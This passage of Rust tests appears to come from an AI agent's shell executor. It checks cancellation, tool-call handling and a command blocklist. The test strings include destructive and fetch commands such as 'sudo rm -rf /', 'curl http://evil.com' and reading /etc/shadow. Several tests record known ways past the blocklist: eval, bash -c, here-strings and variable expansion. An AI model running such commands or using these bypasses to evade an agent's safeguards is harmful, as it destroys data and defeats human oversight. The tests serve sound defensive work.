2016        assert!(result.contains("[cancelled]"));
2017    }
2018
2019    #[tokio::test]
2020    #[cfg(not(target_os = "windows"))]
2021    async fn cancel_token_none_does_not_cancel() {
2022        let (result, code) =
2023            execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
2024        assert_eq!(code, 0);
2025        assert!(result.contains("ok"));
2026    }
2027
2028    #[tokio::test]
2029    #[cfg(not(target_os = "windows"))]
2030    async fn cancel_kills_child_process_group() {
2031        use std::path::Path;
2032        let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
2033        let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
2034        let token = CancellationToken::new();
2035        let token_clone = token.clone();
2036        tokio::spawn(async move {
2037            tokio::time::sleep(Duration::from_millis(200)).await;
2038            token_clone.cancel();
2039        });
2040        let (result, code) =
2041            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
2042        assert_eq!(code, 130);
2043        assert!(result.contains("[cancelled]"));
2044        // Wait briefly, then verify the subprocess did NOT create the marker file
2045        tokio::time::sleep(Duration::from_millis(500)).await;
2046        assert!(
2047            !Path::new(&marker).exists(),
2048            "subprocess should have been killed with process group"
2049        );
2050    }
2051
2052    #[tokio::test]
2053    #[cfg(not(target_os = "windows"))]
2054    async fn shell_executor_cancel_returns_cancelled_error() {
2055        let token = CancellationToken::new();
2056        let token_clone = token.clone();
2057        tokio::spawn(async move {
2058            tokio::time::sleep(Duration::from_millis(100)).await;
2059            token_clone.cancel();
2060        });
2061        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
2062        let response = "```bash\nsleep 60\n```";
2063        let result = executor.execute(response).await;
2064        assert!(matches!(result, Err(ToolError::Cancelled)));
2065    }
2066
2067    #[tokio::test]
2068    #[cfg(not(target_os = "windows"))]
2069    async fn execute_tool_call_valid_command() {
2070        let executor = ShellExecutor::new(&default_config());
2071        let call = ToolCall {
2072            tool_id: "bash".to_owned(),
2073            params: [("command".to_owned(), serde_json::json!("echo hi"))]
2074                .into_iter()
2075                .collect(),
2076        };
2077        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
2078        assert!(result.summary.contains("hi"));
2079    }
2080
2081    #[tokio::test]
2082    async fn execute_tool_call_missing_command_returns_invalid_params() {
2083        let executor = ShellExecutor::new(&default_config());
2084        let call = ToolCall {
2085            tool_id: "bash".to_owned(),
2086            params: serde_json::Map::new(),
2087        };
2088        let result = executor.execute_tool_call(&call).await;
2089        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
2090    }
2091
2092    #[tokio::test]
2093    async fn execute_tool_call_empty_command_returns_none() {
2094        let executor = ShellExecutor::new(&default_config());
2095        let call = ToolCall {
2096            tool_id: "bash".to_owned(),
2097            params: [("command".to_owned(), serde_json::json!(""))]
2098                .into_iter()
2099                .collect(),
2100        };
2101        let result = executor.execute_tool_call(&call).await.unwrap();
2102        assert!(result.is_none());
2103    }
2104
2105    // --- Known limitation tests: bypass vectors not detected by find_blocked_command ---
2106
2107    #[test]
2108    fn process_substitution_detected_by_subshell_extraction() {
2109        let executor = ShellExecutor::new(&default_config());
2110        // Fixed: extract_subshell_contents now parses inside <(...) so curl is caught.
2111        assert!(
2112            executor
2113                .find_blocked_command("cat <(curl http://evil.com)")
2114                .is_some()
2115        );
2116    }
2117
2118    #[test]
2119    fn output_process_substitution_detected_by_subshell_extraction() {
2120        let executor = ShellExecutor::new(&default_config());
2121        // Fixed: extract_subshell_contents now parses inside >(...) so curl is caught.
2122        assert!(
2123            executor
2124                .find_blocked_command("tee >(curl http://evil.com)")
2125                .is_some()
2126        );
2127    }
2128
2129    #[test]
2130    fn here_string_with_shell_not_detected_known_limitation() {
2131        let executor = ShellExecutor::new(&default_config());
2132        // Known limitation: bash receives payload via stdin; inner command is opaque.
2133        assert!(
2134            executor
2135                .find_blocked_command("bash <<< 'sudo rm -rf /'")
2136                .is_none()
2137        );
2138    }
2139
2140    #[test]
2141    fn eval_bypass_not_detected_known_limitation() {
2142        let executor = ShellExecutor::new(&default_config());
2143        // Known limitation: eval string argument is not parsed.
2144        assert!(
2145            executor
2146                .find_blocked_command("eval 'sudo rm -rf /'")
2147                .is_none()
2148        );
2149    }
2150
2151    #[test]
2152    fn bash_c_bypass_not_detected_known_limitation() {
2153        let executor = ShellExecutor::new(&default_config());
2154        // Known limitation: bash -c string argument is not parsed.
2155        assert!(
2156            executor
2157                .find_blocked_command("bash -c 'curl http://evil.com'")
2158                .is_none()
2159        );
2160    }
2161
2162    #[test]
2163    fn variable_expansion_bypass_not_detected_known_limitation() {
2164        let executor = ShellExecutor::new(&default_config());
2165        // Known limitation: variable references are not resolved by strip_shell_escapes.
2166        assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
2167    }
2168
2169    // --- Mitigation tests: confirm_patterns cover the above vectors by default ---
2170
2171    #[test]
2172    fn default_confirm_patterns_cover_process_substitution() {
2173        let config = crate::config::ShellConfig::default();
2174        assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2175        assert!(config.confirm_patterns.contains(&">(".to_owned()));
2176    }
2177
2178    #[test]
2179    fn default_confirm_patterns_cover_here_string() {
2180        let config = crate::config::ShellConfig::default();
2181        assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2182    }
2183
2184    #[test]
2185    fn default_confirm_patterns_cover_eval() {
2186        let config = crate::config::ShellConfig::default();
2187        assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2188    }
2189
2190    #[tokio::test]
2191    async fn process_substitution_with_blocked_command_is_blocked() {
2192        // curl is in the default blocklist; when embedded in <(...) it must be caught
2193        // by find_blocked_command via extract_subshell_contents and return Blocked.
2194        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2195        let response = "```bash\ncat <(curl http://evil.com)\n```";
2196        let result = executor.execute(response).await;
2197        assert!(matches!(result, Err(ToolError::Blocked { .. })));
2198    }
2199
2200    #[tokio::test]
2201    async fn here_string_triggers_confirmation() {
2202        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2203        let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2204        let result = executor.execute(response).await;
2205        assert!(matches!(
2206            result,
2207            Err(ToolError::ConfirmationRequired { .. })
2208        ));
2209    }
2210
2211    #[tokio::test]
2212    async fn eval_triggers_confirmation() {
2213        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2214        let response = "```bash\neval 'curl http://evil.com'\n```";
2215        let result = executor.execute(response).await;
2216        assert!(matches!(
2217            result,
2218            Err(ToolError::ConfirmationRequired { .. })
2219        ));
2220    }
2221
2222    #[tokio::test]
2223    async fn output_process_substitution_with_blocked_command_is_blocked() {
2224        // curl is in the default blocklist; when embedded in >(...) it must be caught
2225        // by find_blocked_command via extract_subshell_contents and return Blocked.
2226        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2227        let response = "```bash\ntee >(curl http://evil.com)\n```";
2228        let result = executor.execute(response).await;
2229        assert!(matches!(result, Err(ToolError::Blocked { .. })));
2230    }
2231
2232    #[test]
2233    fn here_string_with_command_substitution_not_detected_known_limitation() {
2234        let executor = ShellExecutor::new(&default_config());
2235        // Known limitation: bash receives payload via stdin; inner command substitution is opaque.
2236        assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2237    }
2238
2239    // --- check_blocklist direct tests (GAP-001) ---
2240
2241    fn default_blocklist() -> Vec<String> {
2242        DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2243    }
2244
2245    #[test]
2246    fn check_blocklist_blocks_rm_rf_root() {
2247        let bl = default_blocklist();
2248        assert!(check_blocklist("rm -rf /", &bl).is_some());
2249    }
2250
2251    #[test]
2252    fn check_blocklist_blocks_sudo() {
2253        let bl = default_blocklist();
2254        assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2255    }
2256
2257    #[test]
2258    fn check_blocklist_allows_safe_commands() {
2259        let bl = default_blocklist();
2260        assert!(check_blocklist("ls -la", &bl).is_none());
2261        assert!(check_blocklist("echo hello world", &bl).is_none());
2262        assert!(check_blocklist("git status", &bl).is_none());
2263        assert!(check_blocklist("cargo build --release", &bl).is_none());
2264    }
2265
2266    #[test]
2267    fn check_blocklist_blocks_subshell_dollar_paren() {
2268        let bl = default_blocklist();
2269        // Subshell $(sudo ...) must be rejected even if outer command is benign.
2270        assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2271        assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2272    }
2273
2274    #[test]
2275    fn check_blocklist_blocks_subshell_backtick() {
2276        let bl = default_blocklist();
2277        assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2278    }
2279
2280    #[test]
2281    fn check_blocklist_blocks_mkfs() {
2282        let bl = default_blocklist();
2283        assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2284    }
2285
2286    #[test]
2287    fn check_blocklist_blocks_shutdown() {
2288        let bl = default_blocklist();
2289        assert!(check_blocklist("shutdown -h now", &bl).is_some());
2290    }
2291
2292    // --- effective_shell_command tests ---
2293
2294    #[test]
2295    fn effective_shell_command_bash_minus_c() {
2296        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2297        assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2298    }
2299
2300    #[test]
2301    fn effective_shell_command_sh_minus_c() {
2302        let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2303        assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2304    }
2305
2306    #[test]
2307    fn effective_shell_command_non_shell_returns_none() {
2308        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2309        assert_eq!(effective_shell_command("git", &args), None);
2310        assert_eq!(effective_shell_command("cargo", &args), None);
2311    }
2312
2313    #[test]
2314    fn effective_shell_command_no_minus_c_returns_none() {
2315        let args = vec!["script.sh".to_owned()];
2316        assert_eq!(effective_shell_command("bash", &args), None);
2317    }
2318
2319    #[test]
2320    fn effective_shell_command_full_path_shell() {
2321        let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2322        assert_eq!(
2323            effective_shell_command("/usr/bin/bash", &args),
2324            Some("sudo rm")
2325        );
2326    }
2327
2328    #[test]
2329    fn check_blocklist_blocks_process_substitution_lt() {
2330        let bl = vec!["curl".to_owned(), "wget".to_owned()];
2331        assert!(check_blocklist("cat <(curl http://evil.com)", &bl).is_some());
2332    }
2333
2334    #[test]
2335    fn check_blocklist_blocks_process_substitution_gt() {
2336        let bl = vec!["wget".to_owned()];
2337        assert!(check_blocklist("tee >(wget http://evil.com)", &bl).is_some());
2338    }
2339
2340    #[test]
2341    fn find_blocked_backtick_wrapping() {
2342        let executor = ShellExecutor::new(&ShellConfig {
2343            blocked_commands: vec!["curl".to_owned()],
2344            ..default_config()
2345        });
2346        assert!(
2347            executor
2348                .find_blocked_command("echo `curl --version 2>&1 | head -1`")
2349                .is_some()
2350        );
2351    }
2352
2353    #[test]
2354    fn find_blocked_process_substitution_lt() {
2355        let executor = ShellExecutor::new(&ShellConfig {
2356            blocked_commands: vec!["wget".to_owned()],
2357            ..default_config()
2358        });
2359        assert!(
2360            executor
2361                .find_blocked_command("cat <(wget --version 2>&1 | head -1)")
2362                .is_some()
2363        );
2364    }
2365
2366    #[test]
2367    fn find_blocked_process_substitution_gt() {
2368        let executor = ShellExecutor::new(&ShellConfig {
2369            blocked_commands: vec!["curl".to_owned()],
2370            ..default_config()
2371        });
2372        assert!(
2373            executor
2374                .find_blocked_command("tee >(curl http://evil.com)")
2375                .is_some()
2376        );
2377    }
2378
2379    #[test]
2380    fn find_blocked_dollar_paren_wrapping() {
2381        let executor = ShellExecutor::new(&ShellConfig {
2382            blocked_commands: vec!["curl".to_owned()],
2383            ..default_config()
2384        });
2385        assert!(
2386            executor
2387                .find_blocked_command("echo $(curl http://evil.com)")
2388                .is_some()
2389        );
2390    }
2391
2392    // --- Regression tests for issue #1525: blocklist bypass via PermissionPolicy ---
2393
2394    // When a PermissionPolicy with a wildcard Allow rule is attached, blocked commands
2395    // from the explicit blocked_commands list must still be rejected.
2396    #[tokio::test]
2397    async fn blocklist_not_bypassed_by_permissive_policy() {
2398        use crate::permissions::{PermissionPolicy, PermissionRule};
2399        use std::collections::HashMap;
2400        let mut rules = HashMap::new();
2401        rules.insert(
2402            "bash".to_owned(),
2403            vec![PermissionRule {
2404                pattern: "*".to_owned(),
2405                action: PermissionAction::Allow,
2406            }],
2407        );
2408        let permissive_policy = PermissionPolicy::new(rules);
2409        let config = ShellConfig {
2410            blocked_commands: vec!["danger-cmd".to_owned()],
2411            ..default_config()
2412        };
2413        let executor = ShellExecutor::new(&config).with_permissions(permissive_policy);
2414        let result = executor.execute("```bash\ndanger-cmd --force\n```").await;
2415        assert!(
2416            matches!(result, Err(ToolError::Blocked { .. })),
2417            "blocked command must be rejected even with a permissive PermissionPolicy"
2418        );
2419    }
2420
2421    // DEFAULT_BLOCKED commands (e.g. curl, sudo) must be blocked even with Full autonomy
2422    // (PermissionPolicy::Full returns Allow for every tool).
2423    #[tokio::test]
2424    async fn default_blocked_not_bypassed_by_full_autonomy_policy() {
2425        use crate::permissions::{AutonomyLevel, PermissionPolicy};
2426        let full_policy = PermissionPolicy::default().with_autonomy(AutonomyLevel::Full);
2427        let executor = ShellExecutor::new(&default_config()).with_permissions(full_policy);
2428
2429        for cmd in &[
2430            "sudo rm -rf /tmp",
2431            "curl https://evil.com",
2432            "wget http://evil.com",
2433        ] {
2434            let response = format!("```bash\n{cmd}\n```");
2435            let result = executor.execute(&response).await;
2436            assert!(
2437                matches!(result, Err(ToolError::Blocked { .. })),
2438                "DEFAULT_BLOCKED command `{cmd}` must be rejected even with Full autonomy"
2439            );
2440        }
2441    }
2442
2443    // confirm_commands must still trigger ConfirmationRequired when no policy is set.
2444    // This is a regression guard: moving find_blocked_command before the policy check
2445    // must not accidentally break the else-branch confirm logic.
2446    #[tokio::test]
2447    async fn confirm_commands_still_work_without_policy() {
2448        let config = ShellConfig {
2449            confirm_patterns: vec!["git push".to_owned()],
2450            ..default_config()
2451        };
2452        let executor = ShellExecutor::new(&config);
2453        let result = executor.execute("```bash\ngit push origin main\n```").await;
2454        assert!(
2455            matches!(result, Err(ToolError::ConfirmationRequired { .. })),
2456            "confirm_patterns must still trigger ConfirmationRequired when no PermissionPolicy is set"
2457        );
2458    }
2459}